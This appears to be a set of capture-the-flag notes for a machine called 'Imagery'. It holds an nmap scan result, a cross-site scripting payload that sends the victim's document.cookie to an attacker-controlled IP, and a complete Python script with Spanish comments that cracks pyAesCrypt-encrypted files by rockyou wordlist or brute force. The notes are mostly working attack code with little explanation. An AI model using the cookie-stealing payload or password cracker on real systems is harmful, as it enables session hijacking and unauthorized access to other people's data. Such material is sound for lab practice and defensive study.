Imagery (Medium)

PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 63
8000/tcp open  http-alt syn-ack ttl 63

<img src=x onerror=fetch('http://10.10.14.53:8000/?pwned='+document.cookie)>

#!/usr/bin/env python3
"""
aes_bruteforce.py
Modo 1: wordlist (recomendado para CTFs) --rockyou
Modo 2: brute (solo para longitudes muy pequeñas o pruebas)

Uso:
  python3 aes_bruteforce.py --file archivo.zip.aes --wordlist /path/to/rockyou.txt
  python3 aes_bruteforce.py --file archivo.zip.aes --brute --min 1 --max 4 --charset abcdef012345

Notas:
 - Este script intenta descifrar con pyAesCrypt.decryptFile creando un archivo temporal.
 - Si tu .aes no es de AES Crypt (pyAesCrypt) esto fallará; en ese caso usa el flujo zip2john/john o hashcat.
"""
import argparse
import pyAesCrypt
import tempfile
import os
import sys
from tqdm import tqdm
import itertools
import time

# Tamaño del buffer recomendado por pyAesCrypt
BUFFER_SIZE = 64 * 1024

def try_password(aesfile, password):
    """Intenta descifrar aesfile con password. Devuelve True si tiene éxito."""
    # crear temporal para escribir la salida descifrada
    tmpf = None
    try:
        tmp = tempfile.NamedTemporaryFile(delete=False)
        tmpf = tmp.name
        tmp.close()
        # pyAesCrypt.decryptFile lanzará ValueError si la contraseña es incorrecta
        pyAesCrypt.decryptFile(aesfile, tmpf, password, BUFFER_SIZE)
        # si llegamos aquí: posiblemente contraseña correcta
        # comprobación simple: fichero resultado no vacío
        ok = os.path.getsize(tmpf) > 0
        return ok
    except Exception as e:
        # errores esperados: ValueError / IntegrityError etc. -> contraseña incorrecta
        #print("debug:", repr(e))
        return False
    finally:
        if tmpf and os.path.exists(tmpf):
            try:
                os.remove(tmpf)
            except:
                pass

def mode_wordlist(aesfile, wordlist_path, start_line=0, limit=None):
    # Abrimos en modo texto (latin-1) para preservar bytes no ASCII
    with open(wordlist_path, "r", encoding="latin-1", errors="ignore") as f:
        # si quieres evitar contar líneas (doble pasada) para wordlists muy grandes,
        # usa tqdm sin total. Aquí elegimos no contar si limit is None para ser más rápido.
        if start_line:
            for _ in range(start_line):
                if not f.readline():
                    break

        pbar = None
        if limit is not None:
            # Si hay límite, mostramos un tqdm con total=limit
            pbar = tqdm(total=limit, desc="probando wordlist", unit="pwd")
            tried = 0
            while tried < limit:
                line = f.readline()
                if not line:
                    break
                tried += 1
                pwd = line.strip()
                if try_password(aesfile, pwd):
                    print(f"[+] ¡Contraseña encontrada! -> {pwd}")
                    if pbar: pbar.close()
                    return pwd
                pbar.update(1)
            if pbar: pbar.close()
            print("[-] No encontrada en este segmento.")
            return None
        else:
            # Sin límite: iteramos hasta el final. tqdm sin total (más rápido, no doble lectura)
            pbar = tqdm(desc="probando wordlist", unit="pwd")
            for line in f:
                pwd = line.strip()
                if try_password(aesfile, pwd):
                    print(f"[+] ¡Contraseña encontrada! -> {pwd}")
                    pbar.close()
                    return pwd
                pbar.update(1)
            pbar.close()
            print("[-] No encontrada en esta wordlist.")
            return None

def mode_brute(aesfile, charset, min_len=1, max_len=3, prefix=""):
    # ADVERTENCIA: espacio de búsqueda crece exponencialmente.
    print(f"[!] Bruteforce: charset={charset} min={min_len} max={max_len} (esto puede ser muy lento)")
    for length in range(min_len, max_len + 1):
        total = len(charset) ** length
        print(f"Probando longitudes = {length} (combinaciones: {total})")
        # usamos itertools.product
        for tup in tqdm(itertools.product(charset, repeat=length), total=total):
            pwd = prefix + "".join(tup)
            if try_password(aesfile, pwd):
                print(f"[+] ¡Contraseña encontrada! -> {pwd}")
                return pwd
    print("[-] No encontrada en el rango solicitado.")
    return None

def main():
    ap = argparse.ArgumentParser(description="Brute/wordlist attack para .aes (pyAesCrypt)")
    ap.add_argument("--file", "-f", required=True, help="archivo .aes (input)")
    ap.add_argument("--wordlist", "-w", help="ruta a wordlist (ej. rockyou.txt)")
    ap.add_argument("--start-line", type=int, default=0, help="saltarse X líneas de la wordlist (útil para reanudar)")
    ap.add_argument("--limit", type=int, default=None, help="limitar número de intentos desde la wordlist")
    ap.add_argument("--brute", action="store_true", help="activar modo brute force (muy lento)")
    ap.add_argument("--charset", type=str, default="abcdefghijklmnopqrstuvwxyz0123456789", help="charset para brute")
    ap.add_argument("--min", type=int, default=1, help="min longitud brute")
    ap.add_argument("--max", type=int, default=3, help="max longitud brute")
    ap.add_argument("--prefix", type=str, default="", help="prefijo para brute (divide búsqueda)")
    args = ap.parse_args()

    if not os.path.exists(args.file):
        print("Archivo no encontrado:", args.file)
        sys.exit(1)

    # modo wordlist
    if args.wordlist:
        if not os.path.exists(args.wordlist):
            print("Wordlist no encontrada:", args.wordlist); sys.exit(1)
        print("[*] Modo wordlist activo. Ten paciencia.")
        found = mode_wordlist(args.file, args.wordlist, start_line=args.start_line, limit=args.limit)
        if found:
            return

    # modo brute
    if args.brute:
        found = mode_brute(args.file, args.charset, min_len=args.min, max_len=args.max, prefix=args.prefix)
        if found:
            return

    print("[*] Finished. No password found with the given inputs.")

if __name__ == "__main__":
    main()